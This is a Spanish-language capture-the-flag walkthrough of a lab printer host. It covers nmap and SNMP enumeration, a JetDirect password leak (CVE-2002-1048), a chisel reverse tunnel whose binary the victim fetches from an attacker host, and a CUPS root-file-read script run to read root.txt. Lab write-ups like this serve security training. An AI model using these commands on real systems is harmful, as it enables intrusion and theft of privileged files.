Enumeración#
Puertos TCP#
nmap -p- --open --min-rate 2000 -sS -n -Pn -vvv -oG allPorts IP
Host: 10.129.2.104 () Status: Up
Host: 10.129.2.104 () Ports: 23/open/tcp//telnet///
Puertos UDP#
nmap -sUVC -oG UDP 10.129.2.104
Host: 10.129.2.104 () Ports: 68/open|filtered/udp//dhcpc///, 161/open/udp//snmp//SNMPv1 server (public)/ Ignored State: closed (998)
Los únicos dos servicios que hay abiertos es el puerto 23/TCP dedicado a Telnet y el 161/UDP dedicado a SNMP.
Telnet#
Al momento de tratar de conectarnos a telnet obtendremos el siguiente mensaje:
HP JetDirect es un hardware tipo servidor que ofrece HP para que las impresoras sean accesible desde una red.
SNMP#
Nmap#
Lo primero que trate de hacer fue enumerar con nmap y sus scripts pero no obtuve un resultado satisfactorio mas allá de unos security strings:
nmap -sU -p 161 --script snmp* 10.129.3.243
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-12 21:07 -0500
Nmap scan report for 10.129.3.243
Host is up (0.099s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-brute:
| <empty> - Valid credentials
| cascade - Valid credentials
| secret - Valid credentials
| rmonmgmtuicommunity - Valid credentials
| ANYCOM - Valid credentials
| volition - Valid credentials
| ILMI - Valid credentials
| TENmanUFactOryPOWER - Valid credentials
| MiniAP - Valid credentials
| PRIVATE - Valid credentials
| admin - Valid credentials
| private - Valid credentials
| public - Valid credentials
| PUBLIC - Valid credentials
| snmpd - Valid credentials
| cisco - Valid credentials
| mngt - Valid credentials
|_ snmp-Trap - Valid credentials
Nmap done: 1 IP address (1 host up) scanned in 20.90 seconds
Metasploit#
Después trate con Metasploit:
CVE-2002-1048#
Finalmente busque en un navegador jetdirect snmp exploit y encontré un CVE que filtraba la contraseña que generalmente se usaba también en telnet, además encontré una PoC que ayudaba a realizar la explotación de esta vulnerabilidad.
Usuario#
Con el PoC encontrado y uno de los community strings que habíamos hallado vamos a ejecutar el ataque:
E iniciamos sesión en telnet:
Podemos ejecutar comandos de sistema por lo que podemos hacer una enumeración para hallar la forma de escalar privilegios.
Root#
Luego de enumerar cosas básicas para escalar privilegios lo único encontrado es un servicio en escucha en el puerto 661:
En este caso como no tenemos ssh que es lo que normalmente uso para hacer un port forwarding vamos a aprender a usar chisel para esta misma labor.
Lo primero a tener en cuenta es que tenemos que tener el binario en ambas maquinas tanto la victima como la atacante:
# Maquina atacante
wget https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_amd64.gz
gunzip chisel_1.11.3_linux_amd64.gz
chmod +x chisel_1.11.3_linux_amd64
python3 -m http.server 80
# Maquina victima
exec wget http://attack-box-ip:80/chisel_1.11.3_linux_amd64
exec chmod +x chisel_1.11.3_linux_amd64
# Maquina atacante
./chisel_1.11.3_linux_amd64 server --reverse --port 51234
# Maquina victima
exec ./chisel_1.11.3_linux_amd64 client attack-box-ip:51234 R:601:127.0.0.1:601
Para ver el servicio entramos desde el navegador web:
CVE-2012-5519#
Si buscamos el servicio y la versión podremos encontrar este CVE que permite la lectura de archivos con permisos elevados.
# Maquina atacante
wget https://raw.githubusercontent.com/p1ckzi/CVE-2012-5519/refs/heads/main/cups-root-file-read.sh
python3 -m http.server 80
# Maquina victima
exec wget http://attack-box-ip:80/cups-root-file-read.sh
exec chmod +x cups-root-file-read.sh
exec echo "/path/to/file" | ./cups-root-file-read.sh
exec echo "/root/root.txt" | ./cups-root-file-read.sh









